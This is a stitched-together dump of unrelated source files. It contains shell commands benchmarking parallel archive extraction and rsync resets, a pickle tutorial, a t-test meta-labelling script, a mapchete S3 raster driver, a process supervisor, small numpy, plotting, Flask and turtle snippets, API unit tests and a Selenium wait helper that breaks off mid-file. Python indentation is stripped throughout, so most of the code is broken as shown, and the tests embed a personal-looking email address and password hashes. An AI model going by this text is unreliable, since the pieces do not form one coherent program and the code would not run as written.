cd /vz8/unbundle39 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle39.txt &
cd /vz8/unbundle40 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle40.txt
cd /vz8
Unbundle TEST 50
mkdir /vz8/unbundle1 /vz8/unbundle2 /vz8/unbundle3 /vz8/unbundle4 /vz8/unbundle5 /vz8/unbundle6 /vz8/unbundle7 /vz8/unbundle8 /vz8/unbundle9 /vz8/unbundle10 /vz8/unbundle11 /vz8/unbundle12 /vz8/unbundle13 /vz8/unbundle14 /vz8/unbundle15 /vz8/unbundle16 /vz8/unbundle17 /vz8/unbundle18 /vz8/unbundle19 /vz8/unbundle20 /vz8/unbundle21 /vz8/unbundle22 /vz8/unbundle23 /vz8/unbundle24 /vz8/unbundle25 /vz8/unbundle26 /vz8/unbundle27 /vz8/unbundle28 /vz8/unbundle29 /vz8/unbundle30 /vz8/unbundle31 /vz8/unbundle32 /vz8/unbundle33 /vz8/unbundle34 /vz8/unbundle35 /vz8/unbundle36 /vz8/unbundle37 /vz8/unbundle38 /vz8/unbundle39 /vz8/unbundle40 /vz8/unbundle41 /vz8/unbundle42 /vz8/unbundle43 /vz8/unbundle44 /vz8/unbundle45 /vz8/unbundle46 /vz8/unbundle47 /vz8/unbundle48 /vz8/unbundle49 /vz8/unbundle50
cd /vz8/unbundle1 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle1.txt &
cd /vz8/unbundle2 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle2.txt &
cd /vz8/unbundle3 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle3.txt &
cd /vz8/unbundle4 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle4.txt &
cd /vz8/unbundle5 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle5.txt &
cd /vz8/unbundle6 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle6.txt &
cd /vz8/unbundle7 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle7.txt &
cd /vz8/unbundle8 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle8.txt &
cd /vz8/unbundle9 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle9.txt &
cd /vz8/unbundle10 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle10.txt &
cd /vz8/unbundle11 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle11.txt &
cd /vz8/unbundle12 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle12.txt &
cd /vz8/unbundle13 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle13.txt &
cd /vz8/unbundle14 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle14.txt &
cd /vz8/unbundle15 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle15.txt &
cd /vz8/unbundle16 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle16.txt &
cd /vz8/unbundle17 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle17.txt &
cd /vz8/unbundle18 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle18.txt &
cd /vz8/unbundle19 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle19.txt &
cd /vz8/unbundle20 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle20.txt &
cd /vz8/unbundle21 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle21.txt &
cd /vz8/unbundle22 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle22.txt &
cd /vz8/unbundle23 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle23.txt &
cd /vz8/unbundle24 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle24.txt &
cd /vz8/unbundle25 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle25.txt &
cd /vz8/unbundle26 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle26.txt &
cd /vz8/unbundle27 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle27.txt &
cd /vz8/unbundle28 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle28.txt &
cd /vz8/unbundle29 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle29.txt &
cd /vz8/unbundle30 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle30.txt &
cd /vz8/unbundle31 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle31.txt &
cd /vz8/unbundle32 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle32.txt &
cd /vz8/unbundle33 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle33.txt &
cd /vz8/unbundle34 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle34.txt &
cd /vz8/unbundle35 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle35.txt &
cd /vz8/unbundle36 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle36.txt &
cd /vz8/unbundle37 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle37.txt &
cd /vz8/unbundle38 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle38.txt &
cd /vz8/unbundle39 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle39.txt &
cd /vz8/unbundle40 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle40.txt &
cd /vz8/unbundle41 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle41.txt &
cd /vz8/unbundle42 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle42.txt &
cd /vz8/unbundle43 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle43.txt &
cd /vz8/unbundle44 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle44.txt &
cd /vz8/unbundle45 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle45.txt &
cd /vz8/unbundle46 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle46.txt &
cd /vz8/unbundle47 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle47.txt &
cd /vz8/unbundle48 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle48.txt &
cd /vz8/unbundle49 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle49.txt &
cd /vz8/unbundle50 && time star -x -v -f /scale01/scratch/stars/test.star > /scale01/scratch/results/unbundle50.txt
cd /vz8
time rsync -a --delete blanktest/ unbundle1/
time rsync -a --delete blanktest/ unbundle1/ &
time rsync -a --delete blanktest/ unbundle2/ &
time rsync -a --delete blanktest/ unbundle3/ &
time rsync -a --delete blanktest/ unbundle4/ &
time rsync -a --delete blanktest/ unbundle5/ &
time rsync -a --delete blanktest/ unbundle6/ &
time rsync -a --delete blanktest/ unbundle7/ &
time rsync -a --delete blanktest/ unbundle8/ &
time rsync -a --delete blanktest/ unbundle9/ &
time rsync -a --delete blanktest/ unbundle10/ &
time rsync -a --delete blanktest/ unbundle11/ &
time rsync -a --delete blanktest/ unbundle12/ &
time rsync -a --delete blanktest/ unbundle13/ &
time rsync -a --delete blanktest/ unbundle14/ &
time rsync -a --delete blanktest/ unbundle15/ &
time rsync -a --delete blanktest/ unbundle16/ &
time rsync -a --delete blanktest/ unbundle17/ &
time rsync -a --delete blanktest/ unbundle18/ &
time rsync -a --delete blanktest/ unbundle19/ &
time rsync -a --delete blanktest/ unbundle20/ &
time rsync -a --delete blanktest/ unbundle21/ &
time rsync -a --delete blanktest/ unbundle22/ &
time rsync -a --delete blanktest/ unbundle23/ &
time rsync -a --delete blanktest/ unbundle24/ &
time rsync -a --delete blanktest/ unbundle25/
'''
|
def send_request(url):
pass
def visit_utack():
return send_request('http://www.ustack.com') |
# import pickle
#
# shoplistfile = 'shoplist.data'
# # print(type(shoplistfile), shoplistfile)
# shoplist = ['apple', 'mango', 'carrot']
#
# f = open(shoplistfile, 'wb')
# pickle.dump(shoplist, f)
# print(type(shoplistfile), shoplistfile)
# f.close()
#
# del shoplist
#
# f = open(shoplistfile, 'rb')
# comment = pickle.load(f)
# print(comment)
# 案例
import pickle
# 我们存储相关对象的文件的名称
shoplistfile = 'shoplist.data'
# 需要购买的物品清单
shoplist = ['apple', 'mango', 'carrot']
# 准备写入文件
f = open(shoplistfile, 'wb')
# 转储对象至文件
pickle.dump(shoplist, f)
f.close()
# 清除 shoplist 变量
del shoplist
# 重新打开存储文件
f = open(shoplistfile, 'rb')
storedlist = pickle.load(f)
print(storedlist) |
import csv, os
import numpy as np
from scipy import stats
debug = True
home = os.getcwd()
acc_path = os.path.join(home, "level1-CV-acc-LS")
os.chdir(acc_path)
algo_list = ["DT", "KNN", "NB"]
acc = [[None for j in range(200)] for i in range(3)]
acc_ave = [[None for j in range(200)] for i in range(3)]
naming_list = ["A","B","V","G","D"]
dataset_cnt = 9
for dataset in os.listdir(acc_path):
if dataset[:2] == "LS" and dataset[7:10] == "KNN":
dataset_cnt += 1
for i in range(3):
if algo_list[i] == dataset[len(dataset)-4-len(algo_list[i]): len(dataset)-4]:
algo = i
#print(dataset)
dataset_n = int((int(dataset[2:4])/2-1)*20 + (naming_list.index(dataset[4])*4) + int(dataset[5]) - 1)
#print("dataset "+ str(dataset_n))
with open(dataset) as f:
reader = csv.reader(f)
line = [row for row in reader]
data = line[0]
temp = []
for i in range(10):
ave = 0
for j in range(10):
ave += float(data[10*i+j])
ave /= 10
temp.append(ave)
acc[algo][dataset_n] = temp[:]
line = np.array(line).astype(np.float)
acc_ave[algo][dataset_n] = np.sum(line)/len(line)
#print(acc_ave)
#print(dataset_cnt)
if debug:
print("Average calculation DONE")
meta_labels = []
for dataset in range(200):
if debug:
print("dataset " + str(dataset))
best_algo = 0
try:
for algo in range(1,3):
if acc_ave[algo][dataset] > acc_ave[best_algo][dataset]:
best_algo = algo
dataset_label = [None for i in range(3)]
for algo in range(3):
if algo == best_algo:
dataset_label[algo] = 1
else:
list1 = np.array(acc[best_algo][dataset]).astype(np.float)
list2 = np.array(acc[algo][dataset]).astype(np.float)
t_test = stats.ttest_ind(list1 , list2)
t_test_value = t_test[0]
if t_test[1] > 0.05:
t_test_value = 0
#if t test result is positive, algo1 is better, if t test result is negative, algo2 is better, if t test result is 0, then draw
if t_test_value <= 0:
dataset_label[algo] = 1
else:
dataset_label[algo] = 0
meta_labels.append(dataset_label)
except:
meta_labels.append([None for i in range(3)])
os.chdir(home)
with open("meta_labels_LS_KNN.csv", "w") as f:
writer = csv.writer(f)
writer.writerows(meta_labels) |
"""Read from and write to S3 buckets."""
import numpy as np
import numpy.ma as ma
import os
import rasterio
import six
import warnings
import boto3
from mapchete.config import validate_values
from mapchete.formats import base
from mapchete.formats.default import gtiff
from mapchete.io.raster import RasterWindowMemoryFile, prepare_array
from mapchete.log import driver_logger
from mapchete.tile import BufferedTile
logger = driver_logger("mapchete_s3")
METADATA = {
"driver_name": "s3",
"data_type": "raster",
"mode": "rw"
}
GDAL_OPTS = {
"GDAL_DISABLE_READDIR_ON_OPEN": True,
"CPL_VSIL_CURL_ALLOWED_EXTENSIONS": ".tif,.ovr"
}
class OutputData(base.OutputData):
"""Driver output class."""
METADATA = {
"driver_name": "s3",
"data_type": "raster",
"mode": "rw"
}
def __init__(self, output_params, **kwargs):
"""Initialize."""
super(OutputData, self).__init__(output_params)
self.output_params = output_params
if output_params["profile"]["driver"] != "GTiff":
raise NotImplementedError(
"other drivers thatn GTiff not yet supported")
self.file_extension = ".tif"
self.nodata = output_params["profile"].get("nodata", 0)
self.bucket = output_params["bucket"]
def read(self, output_tile):
"""
Read existing process output.
Parameters
----------
output_tile : ``BufferedTile``
must be member of output ``TilePyramid``
Returns
-------
process output : ``BufferedTile`` with appended data
"""
if self.tiles_exist(output_tile):
with rasterio.open(self.get_path(output_tile), "r") as src:
logger.debug(
"read existing output from %s", self.get_path(output_tile))
return src.read(masked=True)
else:
logger.debug((output_tile.id, "no existing output"))
return self.empty(output_tile)
def write(self, process_tile, data):
"""
Write data from process tiles into GeoTIFF file(s).
Parameters
----------
process_tile : ``BufferedTile``
must be member of process ``TilePyramid``
"""
if (
isinstance(data, tuple) and
len(data) == 2 and
isinstance(data[1], dict)
):
data, tags = data
else:
tags = {}
data = prepare_array(
data, masked=True, nodata=self.nodata,
dtype=self.profile(process_tile)["dtype"])
if data.mask.all():
logger.debug((process_tile.id, "empty data"))
return
bucket = boto3.resource('s3').Bucket(self.bucket)
for tile in self.pyramid.intersecting(process_tile):
logger.debug((tile.id, "prepare to upload", self.get_path(tile)))
out_tile = BufferedTile(tile, self.pixelbuffer)
with RasterWindowMemoryFile(
in_tile=process_tile, in_data=data,
out_profile=self.profile(out_tile), out_tile=out_tile,
tags=tags
) as memfile:
logger.debug((
tile.id, "upload tile", self.get_bucket_key(tile)))
bucket.put_object(Key=self.get_bucket_key(tile), Body=memfile)
def tiles_exist(self, process_tile=None, output_tile=None):
"""
Check whether output tiles of a process tile exist.
Parameters
----------
process_tile : ``BufferedTile``
must be member of process ``TilePyramid``
Returns
-------
exists : bool
"""
if process_tile and output_tile:
raise ValueError(
"just one of 'process_tile' and 'output_tile' allowed")
bucket = boto3.resource('s3').Bucket(self.bucket)
def _any_key_exists(keys):
for key in keys:
for obj in bucket.objects.filter(Prefix=key):
if obj.key == key:
return True
return False
if process_tile and output_tile:
raise ValueError(
"just one of 'process_tile' and 'output_tile' allowed")
if process_tile:
return _any_key_exists([
self.get_bucket_key(tile)
for tile in self.pyramid.intersecting(process_tile)
])
if output_tile:
return _any_key_exists([self.get_bucket_key(output_tile)])
def is_valid_with_config(self, config):
"""
Check if output format is valid with other process parameters.
Parameters
----------
config : dictionary
output configuration parameters
Returns
-------
is_valid : bool
"""
return all([
validate_values(
config, [
("profile", dict),
("basekey", six.string_types),
("bucket", six.string_types)]),
validate_values(
config["profile"], [
("driver", six.string_types), ("bands", int),
("dtype", six.string_types)])
])
def get_path(self, tile):
"""
Determine target file path.
Parameters
----------
tile : ``BufferedTile``
must be member of output ``TilePyramid``
Returns
-------
path : string
"""
return os.path.join(*["s3://", self.bucket, self.get_bucket_key(tile)])
def get_bucket_key(self, tile):
"""
Determine target file key in bucket.
Parameters
----------
tile : ``BufferedTile``
must be member of output ``TilePyramid``
Returns
-------
path : string
"""
return os.path.join(*[
self.output_params["basekey"], str(tile.zoom), str(tile.row),
str(tile.col)]) + self.file_extension
def empty(self, process_tile):
"""
Return empty data.
Parameters
----------
process_tile : ``BufferedTile``
must be member of process ``TilePyramid``
Returns
-------
empty data : array
empty array with data type provided in output profile
"""
profile = self.profile(process_tile)
return ma.masked_array(
data=np.full(
(profile["count"], ) + process_tile.shape, profile["nodata"],
dtype=profile["dtype"]),
mask=True)
def profile(self, tile=None):
"""
Create a metadata dictionary for rasterio.
Parameters
----------
tile : ``BufferedTile``
Returns
-------
metadata : dictionary
output profile dictionary used for rasterio.
"""
out_profile = self.output_params["profile"]
dst_metadata = dict(
gtiff.GTIFF_DEFAULT_PROFILE,
count=out_profile["bands"],
dtype=out_profile["dtype"],
driver="GTiff")
dst_metadata.pop("transform", None)
if tile is not None:
dst_metadata.update(
crs=tile.crs, width=tile.width, height=tile.height,
affine=tile.affine)
else:
for k in ["crs", "width", "height", "affine"]:
dst_metadata.pop(k, None)
if "nodata" in out_profile:
dst_metadata.update(nodata=out_profile["nodata"])
try:
if "compression" in out_profile:
warnings.warn(
"use 'compress' instead of 'compression'",
DeprecationWarning
)
dst_metadata.update(
compress=out_profile["compression"])
else:
dst_metadata.update(
compress=out_profile["compress"])
dst_metadata.update(predictor=out_profile["predictor"])
except KeyError:
pass
return dst_metadata
def for_web(self, data):
"""
Convert data to web output (raster only).
Parameters
----------
data : array
Returns
-------
web data : array
"""
raise NotImplementedError
# data = prepare_array(
# data, masked=True, nodata=self.nodata,
# dtype=self.profile()["dtype"])
# return memory_file(data, self.profile()), "image/tiff"
def open(self, tile, process, **kwargs):
"""
Open process output as input for other process.
Parameters
----------
tile : ``Tile``
process : ``MapcheteProcess``
kwargs : keyword arguments
"""
return InputTile(tile, process, kwargs.get("resampling", None))
class InputTile(base.InputTile):
"""
Target Tile representation of input data.
Parameters
----------
tile : ``Tile``
process : ``MapcheteProcess``
resampling : string
rasterio resampling method
Attributes
----------
tile : ``Tile``
process : ``MapcheteProcess``
resampling : string
rasterio resampling method
pixelbuffer : integer
"""
def __init__(self, tile, process, resampling):
"""Initialize."""
self.tile = tile
self.process = process
self.pixelbuffer = None
self.resampling = resampling
def read(self, indexes=None):
"""
Read reprojected & resampled input data.
Parameters
----------
indexes : integer or list
band number or list of band numbers
Returns
-------
data : array
"""
band_indexes = self._get_band_indexes(indexes)
arr = self.process.get_raw_output(self.tile)
if len(band_indexes) == 1:
return arr[band_indexes[0] - 1]
else:
return ma.concatenate([
ma.expand_dims(arr[i - 1], 0) for i in band_indexes
])
def is_empty(self, indexes=None):
"""
Check if there is data within this tile.
Returns
-------
is empty : bool
"""
# empty if tile does not intersect with file bounding box
return not self.tile.bbox.intersects(
self.process.config.process_area()
)
def _get_band_indexes(self, indexes=None):
"""Return valid band indexes."""
if indexes:
if isinstance(indexes, list):
return indexes
else:
return [indexes]
else:
return range(
1, self.process.config.output.profile(self.tile)["count"] + 1)
def __enter__(self):
"""Enable context manager."""
return self
def __exit__(self, t, v, tb):
"""Clear cache on close."""
pass
|
import time
import queue
import os, signal
from web import app
from waitress import serve
from multiprocessing import Process, Queue
from control.control import Control, shutdown
PID_FILE = os.path.join(os.path.dirname(__file__), 'seedling.pid')
def clear_queue(q):
while True:
try:
q.get_nowait()
except queue.Empty:
break
if __name__ == '__main__':
pid = os.getpid()
print('seedling: pid %d' % pid)
with open(PID_FILE, 'w') as f:
f.write(str(pid))
msg_queue = Queue()
rsp_queue = Queue()
app.config['msg_queue'] = msg_queue
app.config['rsp_queue'] = rsp_queue
control = Control(msg_queue, rsp_queue)
control_proc = Process(target=control.main_loop, daemon=False)
control_proc.start()
# print('seedling: control process started, daemon: %s' % control_proc.daemon)
# serve(app, listen='0.0.0.0:8080')
web_proc = Process(target=serve, args=(app,), kwargs={'listen': '0.0.0.0:8080'}, daemon=False)
web_proc.start()
# print('seedling: web process started, daemon: %s' % web_proc.daemon)
def signal_handler(sig, context):
global exit_flag
if sig == signal.SIGTERM:
exit_flag = True
signal.signal(signal.SIGTERM, signal_handler)
exit_flag = False
while not exit_flag:
siginfo = signal.sigtimedwait([signal.SIGTERM], 5)
if not control_proc.is_alive() or not web_proc.is_alive():
exit_flag = True
elif siginfo and siginfo.si_signo == signal.SIGTERM:
exit_flag = True
if web_proc.is_alive():
print('seedling: terminate web')
os.kill(web_proc.pid, signal.SIGTERM)
if control_proc.is_alive():
print('seedling: terminate control')
clear_queue(msg_queue)
msg_queue.put('end')
# Give control loop time to update instrumentation
time.sleep(2.5)
print('seedling: clear queues')
clear_queue(msg_queue)
clear_queue(rsp_queue)
print('seedling: join web')
web_proc.join()
print('seedling: join control')
control_proc.join()
print('seedling: shutdown input/output')
shutdown()
print('seedling: done')
exit(0)
|
import numpy as np
def stride_sliding_window(np_array,window_length,window_stride):
x_list = []
y_list = []
n_records = np_array.shape[0]
remainder = (n_records-window_length) % window_stride
num_windows = 1 + int((n_records-window_length-remainder)/window_stride)
for i in range (num_windows):
x_list.append(np_array[i*window_stride:window_length-1+i*window_stride+1])
return np.array(x_list)
def stride_sliding_window_y(np_array,window_length,window_stride):
y_list =[]
y_list.append(np_array[window_length-1::window_stride])
return np.array(y_list)
|
import numpy as np
import matplotlib.pyplot as pl
d = np.loadtxt('results.dat')
c = ['k','b','r','g']
fig=pl.figure()
for ii,dv in enumerate(2**(np.arange(4)+16)):
ind = d[:,1]==dv
pl.plot(d[ind,0],d[ind,2],'o',color=c[ii],alpha=0.5,label='%1.3e'%dv)
pl.legend()
pl.xlabel('Number of Components')
pl.ylabel('Wall clock time (s)')
fig.savefig('timing.pdf',format='pdf')
|
from flask import Blueprint
from . import views
from . import models
engine = Blueprint("engine", __name__, template_folder = "templates", static_folder='static')
|
import os
import unittest
import requests
class TestCase(unittest.TestCase):
def setUp(self):
'''app.config['TESTING'] = True
app.config['WTF_CSRF_ENABLED'] = False
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(basedir, 'test.db')
self.app = app.test_client()
db.create_all()'''
def tearDown(self):
'''db.session.remove()
db.drop_all()'''
def test_add_user(self):
'''u = User(nickname='john', email='john@example.com')
avatar = u.avatar(128)
expected = 'http://www.gravatar.com/avatar/d4c74594d841139328695756648b6bd6'
assert avatar[0:len(expected)] == expected'''
resp_data = {'name':"a",'password':"abcd",'repeat_pass':"abcd",'company_name':"a",'company_headquarters':"a",'category':"a",'ceo':"a",'email':"a@a.com",'skills':"a"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Password in wrong format"
resp_data = {'name':"a",'password':"3d725109c7e7c0bfb9d709836735b56d943d263f",'repeat_pass':"3d725109c7e7c0bfb9d709836735b56d943d263a",'company_name':"a",'company_headquarters':"a",'category':"a",'ceo':"a",'email':"a@a.com",'skills':"a"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Password and repeat password do not match"
resp_data = {'name':"a",'password':"3d725109c7e7c0bfb9d709836735b56d943d263f",'repeat_pass':"3d725109c7e7c0bfb9d709836735b56d943d263f",'company_name':"a",'company_headquarters':"a",'category':"a",'ceo':"a",'email':"sanjaychari2xy2@gmail.com",'skills':"a"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Email already registered"
resp_data = {'name':"Aditya Nair",'password':"3d725109c7e7c0bfb9d709836735b56d943d263f",'repeat_pass':"3d725109c7e7c0bfb9d709836735b56d943d263f",'company_name':"Infosys",'company_headquarters':"Bangalore",'category':"Software",'ceo':"Narayan Murthy",'email':"adityanair@gmail.com",'skills':"Hadoop,Big Data,Spark"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Profile Created Successfully"
def test_login(self):
resp_data = {'password':"abcd",'email':"a@a.com"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Password in Wrong Format"
resp_data = {'password':"3d725109c7e7c0bfb9d709836735b56d943d263f",'email':"a@a.com"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Email Not Registered"
resp_data = {'password':"3d725109c7e7c0bfb9d709836735b56d943d263f",'email':"sanjaychari2xy2@gmail.com"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Invalid Password"
resp_data = {'password':"425af12a0743502b322e93a015bcf868e324d56a",'email':"sanjaychari2xy2@gmail.com"}
response = requests.post("http://127.0.0.1:5000/api/v1/users",json=resp_data)
assert response.text == "Login Successful"
def test_add_job(self):
resp_data = {'company':"Infosys",'username':"Sanjay Chari",'city':"Bangalore",'country':"India",'specs':"Big Data Consultant",'term':"Part Time",'lowsal':"Rs. 400000",'highsal':"Rs. 700000"}
response = requests.post("http://127.0.0.1:5000/api/v1/jobs",json=resp_data)
assert response.text == "Job Created Successfully"
def test_list_jobs(self):
response = requests.get("http://127.0.0.1:5000/api/v1/jobs?term=Part%20Time&location=Anywhere&specs=Software")
assert "<div class=\"row align-items-start job-item border-bottom pb-3 mb-3 pt-3\">" in response.text
def test_add_connections(self):
resp_data = {'email':"b@b.com",'user1_name':'Dhakshith RT'}
response = requests.post("http://127.0.0.1:5000/api/v1/connections",json=resp_data)
assert response.text == "Invalid Email"
resp_data = {'email':"sanjaychari2xy2@gmail.com",'user1_name':'Dhakshith RT'}
response = requests.post("http://127.0.0.1:5000/api/v1/connections",json=resp_data)
assert response.text == "Connection Request Sent"
def test_update_connections(self):
resp_data = {'approve_request_username':"Dhakshith RT",'username':"Sanjay Chari"}
response = requests.post("http://127.0.0.1:5000/api/v1/connections",json=resp_data)
assert response.text == "Request Approved"
def test_list_connections(self):
response = requests.get("http://127.0.0.1:5000/api/v1/connections?fetchdata=True&username=Sanjay Chari")
assert "<div class=\"row mb-5 justify-content-center\">" in response.text
response = requests.get("http://127.0.0.1:5000/api/v1/connections?search_tag=A&username=Sanjay Chari")
assert "<div class=\"row mb-5 justify-content-center\">" in response.text
def test_add_messages(self):
resp_data = {'user1_name':"b",'user2_name':"c",'content':"Hello"}
response = requests.post("http://127.0.0.1:5000/api/v1/messages",json=resp_data)
assert response.text == "Invalid Username"
resp_data = {'user1_name':"Sanjay Chari",'user2_name':"Dhakshith RT",'content':"Hello"}
response = requests.post("http://127.0.0.1:5000/api/v1/messages",json=resp_data)
assert response.text == "Message Sent Successfully"
def test_get_messages(self):
response = requests.get("http://127.0.0.1:5000/api/v1/messages?is_reload_needed=True")
assert (response.text == "No new message added") or (response.text == "New Messages Added")
response = requests.get("http://127.0.0.1:5000/api/v1/messages?search_tag=A&username=Sanjay Chari")
assert "<div class=\"chat_list\"" in response.text
response = requests.get("http://127.0.0.1:5000/api/v1/messages?fetchdata=True&username=Sanjay Chari")
assert "<div class=\"chat_list\"" in response.text
def test_add_posts(self):
resp_data = {'username':"Sanjay Chari",'content':"This post is created during unit testing"}
response = requests.post("http://127.0.0.1:5000/api/v1/posts",json=resp_data)
assert response.text == "Post Created"
def test_add_comments(self):
resp_data = {'username':"Sanjay Chari",'content':"This comment is created during unit testing",'post_id':1}
response = requests.post("http://127.0.0.1:5000/api/v1/posts",json=resp_data)
assert response.text == "Comment Posted Successfully"
def test_get_posts(self):
response = requests.get("http://127.0.0.1:5000/api/v1/posts?fetchdata=True&username=Sanjay Chari")
assert "<div class=\"col-md-6 col-lg-4 mb-5\">" in response.text
response = requests.get("http://127.0.0.1:5000/api/v1/posts?post_id=1")
assert "<div class=\"pt-5\"><h3 class=\"mb-5\">" in response.text
if __name__ == '__main__':
unittest.main() |
name = raw_input("Enter file:")
if len(name) < 1 : name = "mbox-short.txt"
handle = open(name)
address = {}
for line in handle:
if not line.startswith("From:"):
continue
name = line.split()[1]
address[name] = address.get(name,0) + 1
"""
bigcount = None
bigname = None
for i in address:
if bigcount is None or address[i] > bigcount:
bigcount = address[i]
bigname = i
print bigname, bigcount
"""
bigcount = None
bigname = None
for name,count in address.items():
if bigcount is None or count > bigcount:
bigcount = count
bigname = name
print bigname, bigcount
|
#画图,学用line画直线
import turtle
import time
draw=turtle.Pen()
draw.color(0.3,0.8,0.6)
draw.begin_fill()
for i in range(5):#range内的数字是几就是几边形,为1是直线
draw.forward(100)
draw.left(360/5)
draw.end_fill()
time.sleep(5) |
#!usr/bin/env python
# -*- coding:utf-8 -*-
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from DataDrivenFrameWork.util.objectMap import *
from DataDrivenFrameWork.action.pageaction import *
from DataDrivenFrameWork.config.varconfig import *
import time
class waitutil(object):
def __init__(self,driver):
#创建并映射定位方式的字典对象
self.locationtypeDict={
"xpath":By.XPATH,
"id":By.ID,
"name":By.NAME,
"css_selector":By.CSS_SELECTOR,
"class_name":By.CLASS_NAME,
"tag_name":By.TAG_NAME,
"link_text":By.LINK_TEXT,
"partial_link_text":By.PARTIAL_LINK_TEXT
}
#初始化driver对象
self.driver = driver
#创建显示等待实例对象,每10秒检查一次
self.wait = WebDriverWait(self.driver,10)
def presenceofelementlocated(self,locatormethod,locatorexpression):
'显示等待页面元素出现在DOM中,单不一定可见,存在则返回该页面元素对象'
try:
#调用until方法,判断是否返回为真
element = self.wait.until(
#显示等待方法,根据传入的定位方式和值,查找页面元素至少一个出现,为真返回数据,否则异常
EC.presence_of_element_located((self.locationtypeDict[locatormethod.lower()],locatorexpression)))
return element
except Exception as e:
print(u'不一定可见元素未找到定位方式,请确认定位方法是否正确!',e)
def frametobeavailableandswitchtolt(self,locationtype,locatorexpression):
'检查frame是否 存在,存在则切换进入frame控件中'
try:
element = self.wait.until(
EC.frame_to_be_available_and_switch_to_it((
self.locationtypeDict[locationtype],locatorexpression)))
return element
except Exception as e:
print('定位超时,frame不存在,切入失败',e)
def visibilityofelementlocated(self,locationtype,locatorexpression):
'显示等待页面元素出现在DOM中,并且可见,存在返回页面对象'
try:
# 显示等待方法,根据传入的定位方式和值,查找页面元素是否出现,为真返回数据,否则异常
element = self.wait.until(
EC.visibility_of_element_located((
self.locationtypeDict[locationtype.lower()],locatorexpression)))
return element
except Exception as e:
print(u'可见元素未找到定位方式,请确认定位方法是否正确!',e)
if __name__=='__main__':
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
driver = webdriver.Chrome(executable_path='../Browser driver/chromedriver.exe')
driver.get('http://email.126.com/')
waitutil = waitutil(driver)
#第一种定位iframe方法
# iframe = waitutil.visibilityofelementlocated('tag_name','iframe')
#第二种定位iframe方法
# iframe = getelement(driver,'xpath','//*[@id = "loginDiv"]/iframe')
#第三种iframe定位方法
